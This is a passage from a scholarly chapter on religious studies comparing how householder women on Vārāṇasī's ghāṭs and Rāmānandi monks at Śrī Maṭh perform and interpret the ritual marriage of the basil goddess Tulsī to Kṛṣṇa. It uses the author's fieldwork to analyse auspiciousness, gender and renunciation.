Stein, Burton. 1978. "Temples in Tamil Country, 1300–1750." In _South Indian Temples: An Analytical Reconsideration,_ edited by Burton Stein, 11–45. New Delhi: Vikas.
Thomas, Job. 1986. _Tiruvengadu Bronzes._ Madras: Cre-A.
Zvelebil, Kamil V. 1991. _Tamil Traditions on Subrahmanya-Murugan._ Madras: Institute of Asian Studies.
## A Tale of Two Weddings
_Gendered Performances of Tuls ī's Marriage to Kṛṣṇa_
TRACY PINTCHMAN
Toward the end of the autumn month of Kārtik (October–November), many Hindus living in North India celebrate the marriage of Tulsī, the auspicious basil plant goddess, to her divine groom, usually understood to be the deity Viṣṇu or one of his forms, most often his incarnation ( _avat āra_) Kṛṣṇa. In the city of Vārāṇasī, also called Benares, in Uttar Pradesh, the wedding is performed ritually in numerous locations, including Hindu homes, temples, and public spaces. This divine marriage takes place during the festival of Prabodhanī Ekādaśī, the eleventh day of the second fortnight of Kārtik, which also happens to be the day on which Viṣṇu is said to awaken from four months of slumber. Prabodhanī Ekādaśī also marks the end of the inauspicious four-month monsoon period, the _caturm āsa,_ and ushers in the beginning of the marriage season for North Indian Hindus.
In this chapter I explore two types of ritual performance of Tulsī's wedding: one enacted by girls and women who gather in groups on the _gh āṭ_s, the stepped platforms that run along the side of the Ganges River at the edge of the city; and another conducted largely by male renunciants in Śrī Maṭh, a Rāmānandi monastery located at Pañcagaṇgā Ghāṭ, which also attracts a large audience of laypersons from around the city. These are the only two groups in the city, as far as I know, that perform celebrations of Tulsī's marriage that are public and well attended by large numbers of ritual observers. I base my comments on three cycles of fieldwork conducted between 1995 and 1998. The primary focus of my research during those years was on (largely householder) women's rituals surrounding Tulsī's marriage and the month of Kārtik more generally, about which I have extensively written elsewhere.1 As part of my research, however, I also attended three different performances of Tulsī's marriage at Śrī Maṭh by Rāmānandi monks.
The Rāmānandi order is reportedly founded on the teachings of Swami Rāmānanda, who is said to have lived between the fourteenth and fifteenth centuries c.e.; hence it is also called the Rāmānanda _samprad āya_ (sect or tradition). Ramdas Lamb observes that according to Rāmānandi tradition, Rāmānanda was originally a renunciant in the lineage of the great philosopher Rāmānuja (tenth–eleventh centuries). He became dissatisfied with what he perceived to be social discrimination in the lineage, so he started his own order, which explicitly rejected the caste system and accepted disciples from all castes, creeds, and backgrounds. For Rāmānanda and his followers, the primary emphasis of religious life is on the love of God in the form of Rām, achieved through a life of devotion and renunciation (Lamb 2006, 168). Lamb also notes that the Rāmānandi order currently has the largest number of renunciant members of any Hindu order, estimated at up to 1.5 million (ibid.). The organizational structure of the order comprises a variety of subgroups, including nomadic renouncers ( _ty_ ā _gi_ s and _mah ātyāgi_s) and those who dwell in temples and ashrams, such as Śrī Maṭh, and have more contact with householders than do other Rāmānandis (Lamb 2006, 177–78).
What I found during the course of my research on the public ritual performances of Tulsī's marriage in Vārāṇasī is that female devotees at the _gh āṭ_s enact and interpret Tulsī's marriage in a manner that seems to diverge significantly from the way that male renunciants do at Śrī Maṭh. The main questions I want to bring to these materials in the context of this essay are the following: What might these ritual performances share, and where do they differ? How do the actors in these ritual performances understand the nature of their performance? What role might social location (gender or householder versus renouncer status) play in shaping both formal and hermeneutical aspects of these two performances? And finally, what might this comparison suggest about issues concerning identity, ritual performance, and religious agency among ritual actors in both cases? Fred Clothey notes, "Rituals often serve to bring awareness to the participants and/or patrons of their social context" (1983, 2). In this regard we might ask how these two ritual performances embody or reflect the shared social context of the ritual performers—that is, those who are shaping and performing the ritual in particular ways.
In contemplating shared social contexts in these two ritual performances, I focus on gender and householder versus renouncer status. Among Hindu Indians other markers of status are certainly important, especially caste and class. I do not discuss those markers here, however, for two main reasons. First, in this essay I want to concentrate on identity markers that are shared by most or all ritual performers; in both cases ritual actors come from a variety of caste and class backgrounds, so these are not broadly shared. Second, in both contexts ritual participants deny the relevance of caste and class to their ritual undertaking. Rāmānandi monks, for example, are supposed to renounce possessions and leave their caste identity behind when they take up a renunciant lifestyle; female householders who perform Tulsī's marriage do so in devotional circles that draw members from all over the city, and participating women often do not even know each others' names, much less the particulars of class or caste affiliation. It is, however, true that in both cases participants would not likely include "untouchable," or Dalit, castes or members of the lowest socioeconomic strata. Among the women, for example, all of my informants (thirty-six formally interviewed women) were from high- or middle-caste families; most were broadly middle class, although some of them were from poor families. Although I did not ask the Rāmānandi monks about caste and class background (as these questions would have been viewed as inappropriate), there has been an increasing Brahmanization of the order during the last twenty years or so, with caste becoming more important to some Rāmānandi groups. This has reportedly resulted in growing discrimination in the order against the lowest castes (Ramdas Lamb, private communication, June 2006).
Tulsī, Sacred Marriage, and Auspiciousness
In Hinduism deities often marry or at least engage in sexual relationships with members of the opposite sex. William Harman has noted that one must understand marriage among Hindu deities in a broad sense to refer to numerous forms of male-female sexual union, mirroring Hindu law codes, which tend to understand most types of sexual intercourse as forms of marriage. Harman observes that male-female pairing on the divine level, often called sacred marriage or theogamy, partakes of a more pervasive preoccupation in Hindu religious narratives, images, and practices of male-female complementarity (1989, 13). Sudhir Kakar further notes the centrality in Hinduism of imagery surrounding the unified male-female pair or couple, the _jo ṛi,_ as two persons joined together in what he describes as a harmonious, interdependent, and mutually fulfilling oneness (1990, 83–84). The quintessential representation of this ideal of a "single two-person entity," argues Kakar, is the image of Ardhanārīśvara, that is, Śiva in a half-male, half-female form. It is, however, also embodied in the numerous male-female couples that populate the Hindu pantheon.
In Western scholarship some of the earliest academic work on sacred marriage focused on ancient Near Eastern religions and tended to assume a strong relationship between sacred marriage and a concern with fertility, understood broadly but often embodied particularly in agricultural symbolism.2 Harman, however, has contested the centrality of fertility symbolism in Hindu sacred marriages, arguing, "In India, sacred marriage does not function primarily as an agricultural metaphor in which the earth, conceived as female, is rendered fruitful by a symbolic marriage with cosmic, divine, and male elements" (1989, 3). Harman proposes instead that "sacred marriage has much to do with organizing devotees' perceptions of relationships that exist between deities and of the relationships devotees might have with their deities" and that sacred marriage may function as a way of affirming the perceived order of the cosmos while establishing it anew (3, 139). Harman makes his claims in the context of his study of the marriage of Sundareśvara (a form of Śiva) and Mīnākṣī (a form of Pārvatī) in Madurai, Tamilnadu, where fertility symbolism does indeed seem to be largely downplayed.
I here argue instead for the efficaciousness of exploring the ritual performance of Tulsī's marriage, and perhaps sacred marriages in Hindu contexts more broadly, in relation to the Hindu value of auspiciousness, a value that encompasses both a concern for fertility and for cosmic order and order in divine and human relationships. Much has been written about the auspicious ( _ś ubh, maṇgal_) and the inauspicious ( _a śubh, amaṇgal_) in Hindu culture.3 Generally speaking auspiciousness, which is embodied especially in the goddess Lakṣmī, is a desired value that connotes well-being and happiness. Categories that exemplify worldly auspiciousness include weddings, sexuality, and progeny; wetness and rains, abundance of food, and the well-being of crops; and health, medicines, and bodily well-being (Marglin 1985a, 65–83). Kingship and lordly power also embody auspiciousness, for the strength of a king manifests itself in the production of rain and good crops. The divine prototype of earthly kings is Viṣṇu, the deity worshiped most prominently during Kārtik; as Viṣṇu's consort, Lakṣmī embodies the life-giving powers that sustain the sovereignty of kings (cf. Marglin 1985b, 181–84). Viṣṇu is also paired with other goddesses, including the goddess Earth, Bhūdevī, whom he protects from oppressive demons. In safeguarding Bhūdevī, Viṣṇu also protects auspiciousness as it is manifest in the earth's fecundity and generativity, a role that flows from the sovereign power he embodies.
While a good deal of scholarship on auspiciousness in Hindu culture has emphasized values generally associated with householdership and worldly pursuits, Vasudha Narayanan ramifies the discussion by calling for a clear recognition of two levels of auspiciousness: one that has to do with everyday life and householder values and pertains to categories such as prosperity, happiness, or the longevity of a husband, and another that encompasses the pursuit of spiritual liberation ( _mok ṣa_) and is allied with renunciant values (1985, 62). This second level pertains to the achievement of spiritual advancement, renunciation of the world, and pursuit of the divine. The many festivals and religious celebrations of Kārtik, including the celebration of Tulsī's marriage, exemplify auspiciousness on both these levels and can be viewed as conducive to worldly or spiritual boons, or both, depending on the devotee: the line between the two is fluid and permeable.4
Tulsī's nature as a sanctifying plant naturally aligns her with both worldly and spiritual forms of auspiciousness. As an herb and a divine consort or bride, for example, she tends to be associated in many contexts with householder ideals of auspiciousness exemplified especially in bodily well-being, marriage, and fecundity. _Tuls ī_ is considered to be a healing and life-enhancing medicinal herb. The _tuls ī_ plant is used in Ayurvedic medicine for all manner of illnesses and conditions. _Tuls ī_ is also a form of domestic medicine, and many home cures that women take or give to family members involve _tuls ī._ Tulsī's marriage marks the beginning of the auspicious Hindu wedding season and a return to earthly abundance, as the end of the rainy season brings the ripening of fruits and crops in the fertile, post-monsoon soil. Hence Tulsī's marriage to Viṣṇu on Prabodhanī Ekādaśī exemplifies the reestablishment of auspiciousness, embodied in fecundity and the domestic order of marriage, following the dangerous and inauspicious _caturm āsa_ period.
Yet _tuls ī_ is also associated with liberative values. Several different varieties of the _tuls ī_ plant exist; while some are small and can flourish in small pots, others can grow several feet tall. Groves of this larger _tuls ī,_ called _vana-tuls ī_ (forest _tuls ī_), grow in the wild but can also be cultivated. It might be tempting to associate sacred groves with fertility imagery, but in fact Purāṇic descriptions of Tulsī groves downplay such imagery. Instead they tend to associate _Tuls ī_ groves primarily with spiritual benefits, especially the destruction of sin and the promotion of _mok ṣa,_ or spiritual liberation. The Skanda Purāṇa, for example, claims that when planted and cultivated, _tuls ī_ groves destroy sinful karma (2.4.23.12). The Padma Purāṇa asserts that those who plant a grove of _tuls ī_ escape the clutches of Yama, the Host of Death (6.106.9–10), and that cremation with _tuls ī_ wood brings liberation from sins and freedom from rebirth ( _sa ṃsāra_) (6.23.3–4). Although groves and forests generally reside outside of domestic space, groves of _tuls ī_ have a domestic form as well. In some Hindu homes, several _tuls ī_ plants are cultivated and grouped together in the courtyard, constituting a miniature forest called a _tuls ī-van._ Such a domestic grove infuses the home with purifying and liberative qualities. The Skanda Purāṇa, for example, declares that a house in which a grove of _tuls ī_ resides becomes a _t īrtha_ (2.4.23.9), thereby assigning to _tuls ī_ the sanctifying power normally associated with pilgrimage spots. The Padma Purāṇa claims that Brahmā, Śiva, and Viṣṇu dwell in the _tuls ī_ plant—with Brahmā at the tip of the leaf, Viṣṇu in the middle, and Śiva at the base of the plant—along with all the wives of the gods, planets, sages, divine sages, and holy places (7.24.6–10).
A single _tuls ī_ plant, as well as all its various parts, may also synecdochically exemplify the purifying and liberative ideals embodied by _tuls ī_ groves. The _tuls ī_ seed, for example, is thought to quell sexual desire or _k āma_ (Simoons 1998, 27), and Rāmānandi renouncers wear a _tuls ī_ bead around their necks. Food consumed with _tuls ī_ leaves is believed to be rendered pure and becomes suitable for consumption even by deities. Foods offered to Viṣṇu in particular are purified by the addition of _tuls ī;_ R. S. Khare describes it as the "cultural catalizer [ _sic_ ] in Vaiṣṇavism" that helps transform mundane food into "divine code" so that the deity can accept it (1976, 102). The leaves of _tuls ī_ may be placed in the mouth of a dying man to ensure spiritual liberation ( _mok ṣa_) at the moment of death (Upadhyaya 1965, 13). The Padma Purāṇa claims that those whose dead bodies are burnt with _tuls ī_ wood are liberated from the effects of negative karma and praises all parts of the plant—as well as the dirt or clay in which it is rooted—as capable of purifying sins (for example, 6.23.1–4).
_Tuls ī,_ then, is auspicious in both worldly and "otherworldly," or spiritual, senses of the term as described by Narayanan. Juxtaposing performances of Tulsī's marriage by householder women with those performed by male renunciants reveals differing emphases with regard to the various forms of auspiciousness that Tulsī embodies. One might anticipate that these women, who may be looking forward to their own weddings or the weddings of their children, might have a greater tendency to emphasize worldly dimensions of auspiciousness, "humanizing" Tulsī's marriage and drawing parallels between divine marriage and human marriage. Conversely one might expect male renunciants, who have relinquished householder life, to place greater emphasis on the significance of Tulsī's marriage in relation to auspicious spiritual values. This is precisely what my own fieldwork bears out. Furthermore I found that variations in interpretive emphases are also paralleled by formal differences, which, I contend, seem also to be rooted in differing social contexts.
Women's Performance of Tulsī's Marriage
On the morning of Probhadanī Ekādaśī, many Hindu women gather together in groups along the _gh āṭ_s to perform Tulsī's marriage ritually. Most participants, however, do this as part of a larger observance of Kārtik-related traditions that take place throughout the month.
Kārtik is widely celebrated among Indian Hindus as deeply sacred, and many Benarsi Hindus count it among the three or four most religiously important months of the year. The key religious injunction pertaining to Kārtik is the Kārtik _vrat,_ or votive observance, which, like other _vrat_ s, entails fasting practices. Even more central to this _vrat,_ however, is the practice of Kārtik _sn ān,_ ritual bathing in the Ganges River performed daily throughout the month. Such bathing is considered especially meritorious when performed very early in the morning, before sunrise.
After completing their ritual bath, many women and girls gather in groups at the river's edge every day throughout the month to perform a special devotional ritual or _p ūjā_ that they consider part of their observance of the _vrat._ Participants construct several icons ( _m ūrti_s) of Hindu deities out of Ganges mud. Forming a circle, they perform _p ūjā_ to the icons while singing songs that are particular to this occasion. Many deities are honored, but several of the songs focus specifically on Kṛṣṇa, and a number of informants told me the _p ūjā_ is largely dedicated to Kṛṣṇa with other deities called to be present largely so they, too, can participate as devotees.
More than half of the thirty-six women I formally interviewed indicated they consider Kārtik _p ūjā_ to be related to Kṛṣṇa's _r āsa-līlā,_ the famous circle dance of Kṛṣṇa mythology, in which Kṛṣṇa danced in the middle of a circle of cowherdesses or _gop ī_s, making love with each of them. Some participants maintained that Kṛṣṇa's _r āsa-līlā_ took place during the month of Kārtik, describing Kārtik _p ūjā_ as a form of worship enacted in commemoration of the earthly _r āsa-līlā_ performed long ago. Informants also tended to employ the term _r āsa-līlā_ to refer not just to the circle dance, but also to Kṛṣṇa's life in Vrindavan, where he spent his childhood and youth, and in this regard they understand their role in the _p ūjā_ as comparable to that of the _gop ī_s who cared for Kṛṣṇa during all his years as a boy in Vrindavan.5 In Kārtik _p ūjā_ this role takes on a progressive character, marking Kṛṣṇa's development from infancy to adulthood and culminating in the preparation and celebration of his marriage to Tulsī.
In Kārtik _p ūjā_ Kṛṣṇa is considered to be in his child form for about the first twenty days of the month. At this point participants execute his _upanayana,_ or _jane ū,_ the traditional Hindu ceremony marking a boy's investiture with the sacred thread. This ceremony designates Kṛṣṇa's transformation from child to young man. Participants begin the _jane ū_ ceremony by passing the brass image of Kṛṣṇa around the circle of women, smearing the image with a mixture of turmeric and mustard oil. They then bathe the brass Kṛṣṇa lovingly in Ganges water. Laying out a fresh cloth, they place Kṛṣṇa in the middle of it, dress him in finery, and prepare him for the _jane ū,_ placing offerings before him of betel nut, chickpeas, and _jane ū_ threads. A male Brahman priest is called to the circle briefly to utter the mantras appropriate to the occasion, and participants adorn the Kṛṣṇa image with the _jane ū_ threads, which they have smeared with the mixture of turmeric and oil. This is a day of dancing and bawdy joking, for the _jane ū_ signals Kṛṣṇa's impending marriage. The _jane ū_ ceremony is known as a "half marriage," since it marks a boy's transition from childhood to adulthood; in contemporary India if a Hindu boy who is getting married has not undergone a _jane ū,_ he will undergo one just before the wedding ceremony. From the day of the _jane ū_ until the day of the wedding itself, women sing marriage songs in the _p ūjā_ circle before beginning the _p ūjā_ itself to mark the impending marriage.6
When the wedding day finally arrives, after concluding the daily _p ūjā,_ participants clear and purify a space for the marriage platform ( _ma ṇḍapa_), arranging bamboo branches for the wedding canopy, as in a human marriage. They draw auspicious designs ( _rangoli_ ) on the ground with rice flour. The bride, a potted _tuls ī_ plant with abundant foliage, is brought into the circle, dressed in a red cloth that functions as her wedding sari, and adorned. The groom, represented by a brass image, is also brought to the _p ūjā_ circle, where he is passed around, massaged with mustard oil and turmeric, bathed in Ganges water, and dressed in finery. Participants proudly and conspicuously display dowry offerings they have brought, including items such as saris, pots and pans, and jewelry.
As in the _jane ū_ ritual, here, too, a male Brahman priest is called into the _p ūjā_ circle only briefly to officiate in the _phera,_ the circumambulation of the wedding fire. In human weddings bride and groom perform _phera_ by circumambulating a fire seven times. Male Brahman priests ordinarily preside over both _jane ū_ rites and weddings, both of which belong to a class of sacramental rituals known as _sa ṃskāra_s, which is why they are invited into the women's Kārtik circles to perform these ritual services for Kṛṣṇa. Then participating women sprinkle _sind ūr,_ a type of vermilion powder, on the bride's "head" to mark her married status, as is commonly done among Hindu women; throw puffed rice at the newlywed couple; and offer them yogurt sweetened with brown sugar, a mixture traditionally eaten by bride and groom. They also engage in a boisterous round of _g āli,_ the often sexually explicit songs of abuse that Hindu women sing at human marriages. At the end of the celebration, participants gather in a circle singing and clapping while many women dance, pulling their coworshipers into the circle to dance with them.
Wedding performed at Assi Ghāṭ, 1997. Photograph by the author.
The atmosphere surrounding the women's performance of Tulsī's wedding on the _gh āṭ_s is festive, fun, and relaxed. In both 1997 and 1998, in the ritual circles in which I participated, a food fight broke out toward the end of the performance, and women began chasing each other and smearing yogurt on one another's faces and limbs, laughing and clearly enjoying themselves a great deal.
During the last few days of Kārtik, following the marriage of Kṛṣṇa and Tulsī, women's daily worship continues, but participants no longer use clay icons. Instead they perform the _p ūjā_ with a plastic or metal box said to contain the religious merit participants have earned during the month. Many Kārtik _p ūjā_ participants maintain that Tulsī does not depart with her new husband for her new home (with her husband and in-laws) until the final night of Kārtik, the night of the full moon, when the divine bride and groom are also said to consummate their marriage.
The Performance of Tulsī's Marriage at Śrī Maṭh
The performance of Tulsī's wedding at Śrī Maṭh is rather different—and more sober—than the one performed by women. When I asked women on the _gh āṭ_s how long they had been performing Kārtik _p ūjā_ and, along with it, Tulsī's wedding, several of them noted many years of participation. Some claimed to have learned the tradition in childhood from their own mothers or as young brides from their mothers-in-law, indicating that this _p ūjā_ has been going on for at least some decades, and possibly longer. This does not seem to be the case at Śrī Maṭh, where, the spiritual and organizational head of the monastery, the Rāmnareśācārya, reported to me, the monks apparently started performing Tulsī's marriage as a public ritual during the early 1990s. I was not able to pin down a precise date or clear explanation as to why Śrī Maṭh began performing Tulsī's marriage, although one prominent Benarsi not related to Śrī Maṭh or the Rāmānandi order suggested that the monastery's involvement in the rite may be related to the rise of the kind of militant Hinduism tied to the promotion of Rām worship, which was pushed to the fore by the destruction of the Babri Mosque in 1992. In any case it appears that the decision to begin performing the marriage at Śrī Maṭh caused consternation for some of the monks, but opposition soon disappeared. In describing to me the first time the marriage was performed at Śrī Maṭh under his supervision, for example, the Rāmnareśācārya emphasized his own initial discomfort and embarrassment, noting that his feeling was that renunciants should have nothing to do with rituals of marriage. Here is what he told me during an interview in 1997:
So the first year, we started from Dasāśamedh Ghāṭ, and I was feeling ashamed, wondering what people would say about it. But when I did the _p ūjā_ to the Ganges River at Dasāśamedh Ghāṭ and the procession started from there, so then religious feeling ( _bh āv_) began [to rise up in me]. The devotional singing ( _k īrtan_) started, and... the procession proceeded.... When we arrived here, there were lots of people here, too. They received the procession. And when they took down Rām's palanquin, after that, no one paid any attention to me. I was just an observer. And as I saw their religious sentiment ( _bh āv_) and the way they did it, it was something divine. I never forgot that experience. So gradually my _bh āv_ also developed, and that is also necessary for a renunciant, as a form of worship.
Many women who participate in Kārtik _p ūjā_ interpret the entire month of Kārtik in relation to the marriage of Kṛṣṇa and Tulsī, which they describe as woven into the devotional fabric of Kārtik as a whole. Some, for example, interpret food restrictions associated with the Kārtik _vrat_ as commemorating the fast that Tulsī undertook in ancient times to attain Kṛṣṇa as a husband or insist that Tulsī herself began the tradition of Kārtik _p ūjā._ At Śrī Maṭh, on the other hand, although the monks celebrate the month of Kārtik and its festivals, the marriage of Tulsī is an affair rather isolated from other Kārtik events and is performed pretty much in straight Vedic style. It begins in the late afternoon, when a flotilla of well-decorated boats carrying Rāmānandi monks and an icon of Viṣṇu or Rām comes up from Pañcagaṇgā Ghāṭ. The boats land at Assi Ghāṭ to collect devotees before returning to Śrī Maṭh at Pañcagaṇgā Ghāṭ. The icon is then processed amid great fanfare into the _ma ṭh,_ where the marriage rite itself is enacted.
During the three years in which I observed the _ma ṭh_'s performance of Tulsī's wedding, it was preceded and followed by a lengthy sermon given by the Rāmnareśācārya. While the women's performance of the marriage at the _gh āṭ_s was accompanied by group singing of folk songs, popular Hindi _bhajan_ s, and _g āli,_ the marriage at Śrī Maṭh emphasized the chanting of Sanskrit verses, as is typical of Vedic weddings. At the _gh āṭ_s all participants took some part in Tulsī's marriage: gathering around the divine couple in a circle, everyone had a turn at covering the icon of Kṛṣṇa with turmeric and washing his body; everyone got a turn at putting vermilion powder on the "head" of the bride; and everyone threw garlands and puffed rice at the divine couple. At Śrī Maṭh, on the other hand, all the "guests"—laymen and women from around the city—sat at a distance from the main event, behind a platform erected for the occasion. The marriage itself was conducted only by Śrī Maṭh insiders, almost all of whom were men and most of whom were Rāmānandi renunciants, although some lay disciples of the Rāmnareśācārya, including some married couples, also participated. In 1995, for example, I was told that lay disciples played the parts of the mother and father of the bride and groom. Women sat apart from men, at a distance from the marriage platform. The division between audience and human ritual agents—almost nonexistent at the _gh āṭ_s—was drawn quite clearly at Śrī Maṭh. Toward the end of the marriage ritual, as at the _gh āṭ_s, there was festive dancing among the women, and—as at the _gh āṭ_s—dowry items were offered and displayed. The close proximity of men, however, meant that the women present were more subdued in their behavior than at the _gh āṭ_s, and there was no singing of _g āli_ or raucous food fight.
Wedding performed at Śrī Maṭh, 1997. Photograph by the author.
Formal differences between the two performances were paralleled by differences in interpretation offered by participants. Kārtik _p ūjā_ participants whom I interviewed concerning the meaning of Kārtik _p ūjā_ and Tulsī's marriage tended to emphasize continuity between the marriage of the divine bride and groom and that of human beings. As one participant put it, "Just as God gets married, I got married in the same way. It is the same. God's _jane ū_ took place, and then his marriage took place. We do the same things." Another noted in relation to the ceremony of bidding farewell to Tulsī, "Just as we sometimes cry when we bid farewell to our own daughters when they marry, so we do the same thing in our homes—we cry for Tulsī." Another noted that in her home on the night of Kārtik's full moon—the night informants cited most frequently as the night of marital consummation—she takes a _tuls ī_ plant and a brass image of Kṛṣṇa, puts them in a cupboard, and closes the door for the night so that bride and groom can enjoy some privacy, just as a human bride and groom might do.
At Śrī Maṭh, on the other hand, Rāmānandi monks stressed what they perceived to be the discontinuity between Tulsī's marriage and human marriage. One young man I interviewed, for example, insisted that there are two kinds of marriages: those that are worldly ( _sa ṃsārik_ or _laukik_ ), the category into which human marriages fall, and those that are "otherwordly" ( _alaukik_ ) or divine. Tulsī's marriage is of the latter kind and has nothing to do with human marriage. This division is consistent with Rāmānandi theology and the common distinction in Hindu contexts between _k āma_ and _prema._ _K āma_ is love tinged with personal desire, including the desire for family and children. _Prema,_ on the other hand, is selfless, desireless love that is aimed only at pleasing a loved one, does not aim to attain anything for oneself, and is religiously prized. My informant at Śrī Maṭh emphasized the nature of the love shared by Tulsī and her groom as one characterized by _prema_ rather than _k āma._ He also emphasized the need for human conjugal relations to conform more closely to this divine model by taking seriously the moral value of sexual self-restraint—a value that male renunciants are expected to esteem highly and, one hopes, exemplify through celibacy.7 He noted, for example: "The reason we perform Tulsī's marriage is to teach people about strength of character. The main teaching is that one should control oneself, control one's character, and use it in such a way that it produces good and healthy children. If you want to plant a good tree, so the seed should be good. If the seed is good, the tree will be healthy. And if the tree is healthy, the fruit will be good. So basically, the seed needs to be good. Your children will only be as good as your sexual self-control ( _brahmac ārya_)." This informant also drew clear divisions between deities, human ritual actors taking part in the ritual performance, and the largely lay audience that constituted the ritual observers—divisions that were drawn much less sharply in the women's performance of the marriage at the _gh āṭ_s.
In both the sermons he delivered at the performance of Tulsī's marriage and two interviews he participated in with me, the Rāmnareśācārya emphasized the central religious meaning of the marriage as the ideal of performing _sev ā,_ or devotional service to God (Bhagavān), through the ritual enactment of God's marriage. Women on the _gh āṭ_s also stressed the performance of the marriage as a form of _sev ā._ Socially, however, the Rāmnareśācārya emphasized the performance of the marriage as a symbolic form of renunciation or _ty āga_ analogous to _kany ā_ _d ān,_ a father's duty to give away a daughter in marriage. Hence he highlighted the devotional and renunciatory dimensions of the ritual performance. By way of contrast, not one of the thirty-six Kārtik _p ūjā_ participants I formally interviewed ever mentioned _kany ā_ _d ān_ in relation to the performance of Tulsī's marriage.
Conclusion
What kinds of larger points might our exploration of these two performances raise in relation to ritual and identity? First, looking at these two appropriations of Tulsī's wedding demonstrates the formal flexibility of (at least) some types of Hindu devotional practice. The formal qualities of Tulsī's wedding as a ritual performance clearly are not fixed but are adaptable to context. Furthermore I suggest they reflect and embody different ways of appropriating auspiciousness. The women's performance on the _gh āṭ_s emphasizes worldly auspiciousness, including human values generally associated with householdership, whereas the performance that takes place at Śrī Maṭh emphasizes renunciant values and otherworldly auspiciousness as Narayanan describes it. It certainly seems that the Śrī Maṭh's fairly recent adoption of the Tulsī' marriage ritual might well have been motivated at least in part by its established popularity among householders. But I did not discern any noticeable tension between the women and the renunciants concerning "ownership" of Tulsī's marriage rite. In fact several of the women who performed the marriage at the _gh āṭ_s in the morning also went to Śrī Maṭh to observe it again in the evening.
The two types of ritual performance also embody differing constructs of ritual community. In the case of women gathering at the _gh āṭ_s, caste, class, and other formal markers of hierarchy are generally downplayed (although, as far as I was able to discover, participants in the _p ūjā_ circles in which I took part were all from middle or upper castes). The physical construction of the worship space as a circle grants all participants equal access to the icons used in worship, and all participants function as ritual agents. As I have noted elsewhere, participants in Kārtik _p ūjā_ adapt the term _sakh ī_ or "female friend" from Kṛṣṇa mythology as the sole term of reference for one another during the course of the _p ūjā,_ including at the performance of Tulsī's marriage, and informants stressed to me the antihierarchical nature of the term.8 At Śrī Maṭh, however, hierarchy among deity, renunciant, and householder is embraced in the formal aspects of the ritual performance, with householders formally separated from the icons to which only Rāmānandi renunciants and close lay disciples are granted access.
These materials also point to the role of ritual agents in interpreting this tradition of ritual performance in ways that resonate with the values and concerns that religious and social identity may help push to the fore. As noted in the introduction to this volume, in her book _Pierced by Murugan's Lance,_ Elizabeth Collins notes that, within the tradition of anthropological theory about ritual, two distinctive approaches have developed: one that emphasizes what ritual does to people and another that emphasizes what people do with ritual. She observes further that the first approach underscores ways in which the behavior of people "is shaped by culture, language, and hierarchies of power," while the second stresses the conception of human beings as agents who act upon the world and try to reshape it to reflect their values and interests (Collins 1997, 17). With respect to this latter point, ritual practice facilitates the ability of ritual agents to perpetuate, appropriate, or reshape values and ideals that have to do with social identity (Bell 1997, 73, 82).
Tulsī's marriage seems to function in this way for both female householders and male renouncers. On the _gh āṭ_s female participants appropriate Tulsī's marriage in ways that have deep social resonance for many householder women.9 Marriage, of course, effects a significant transformation on the identity of a traditional Hindu bride who leaves her own home for a new one, exchanging her natal family for her husband's family. As marriage is an important focus of many Hindu women's lives, in Kārtik _p ūjā_ traditions, Tulsī's marriage becomes the focus of the entire month. At Śrī Maṭh, however, where male renunciants perform the marriage, the performance seems much more isolated from larger structures of religious meaning associated with the month of Kārtik. Any explicit acknowledgment of social continuity between human and divine marriage is largely overlooked, except where the role of ritual agents is likened to the role of a father (a male authority figure) giving away his daughter. Instead what is stressed is the nature of the marriage as a form of ascetic devotional service continuous with Rāmānandi devotional ideals. In both cases we find that the ritual comes to be understood largely in relation to the cherished ideals and aspirations of the individuals responsible for its performance.
**Notes**
1. See, for example, Pintchman 1999, 2003a, 2003b, 2005.
2. Cf. Harman 1989, 3, where he cites several of these sources.
3. See, for example, Marglin 1985b and Carman and Marglin 1985.
4. For a fuller discussion of Kārtik and the ways it exemplifies auspiciousness, see Pintchman 2005, 45–97.
5. In John S. Hawley's research on _r āsa-līlā_ performances in Braj, the term _r āsa-līlā_ is also used to indicate both the _r āsa-līlā_ episode itself and the entire play _(l īlā)_ of Kṛṣṇa's life enacted in liturgical drama. See Hawley 1981 and 1983, chaps. 6 and 7.
6. For more on the women's performance of Kṛṣṇa's _jane ū_ and wedding, including analysis of the women's songs, see Pintchman 2005, 129–42.
7. Lamb (2006, 172) notes that, while celibacy is the ideal, not all Rāmānandi renunciants take vows of celibacy until and unless they feel they have gained the ability to fulfill the vow successfully.
8. See Pintchman 2005, 146–55. Leslie A. Northrup (1997) has noted that women's ritual performances in general tend to downplay hierarchy.
9. I have offered a great deal more by way of interpretation and analysis of women's Kārtik _p ūjā_ traditions in Pintchman 2005, especially chap. 4.
References
Bell, Catherine. 1997. _Ritual: Perspectives and Dimensions._ New York: Oxford University Press.
Carman, John B., and Frederique Marglin, eds. 1985. _Purity and Auspiciousness in Indian Society._ Leiden: Brill.
Clothey, Fred W. 1983. _Rhythm and Intent: Ritual Studies from South India._ Madras: Blackie.
Collins, Elizabeth Fuller. 1997. _Pierced by Murugan's Lance: Ritual, Power, and Moral Redemption among Malaysian Hindus._ DeKalb: Northern Illinois University Press.
Harman, William P. 1989. _The Sacred Marriage of a Hindu Goddess._ Delhi: Motilal Banarsidass.
Hawley, John S. 1981. _At Play with K ṛṣṇa: Pilgrimage Dramas from Brindavan._ Princeton: Princeton University Press.
———. 1983. _K ṛṣṇa, the Butter Thief._ Princeton: Princeton University Press.
Kakar, Sudhir. 1990. _Intimate Relations: Exploring Indian Sexuality._ New Delhi: Penguin Books.
Khare, R. S. 1976. _Culture and Reality: Essays on the Hindu System of Managing Foods._ Simla: Indian Institute of Advanced Study.
Lamb, Ramdas. 2006. "Monastic Vows and the Rāmānanda Sampraday." In _Dealing with Deities: the Ritual Vow in South Asia,_ edited by Selva J. Raj and William P. Harman, 165–85. Albany: State University of New York Press.
Marglin, Frederique. 1985a. "Types of Oppositions in Hindu Culture." In _Purity and Auspiciousness in Indian Society,_ edited by John B. Carman and Frederique Marglin, 65–83. Leiden: Brill.
———. 1985b. _Wives of the God King: The Rituals of the Devadasis of Puri._ Delhi: Oxford University Press.
Narayanan, Vasudha. 1985. "The Two Levels of Auspiciousness in Srivaisnava Ritual and Literature." In _Purity and Auspiciousness in Indian Society,_ edited by John B. Carman and Frederique Marglin, 55–64. Leiden: Brill.
Northrup, Lesley A. 1997. _Ritualizing Women._ Cleveland: Pilgrim.
Pintchman, Tracy. 1999. "The Month of Karttik as a Vaisnava _Mahotsav_ : Mythic Themes and the Ocean of Milk." _Journal of Vaisnava Studies_ 7, no. 2: 65–92.
———. 2003a. "The Month of Kārtik and Women's Ritual Devotions to Kṛṣṇa." In _The Blackwell Companion to Hinduism,_ edited by Gavin Flood, 327–42. Oxford: Blackwell.
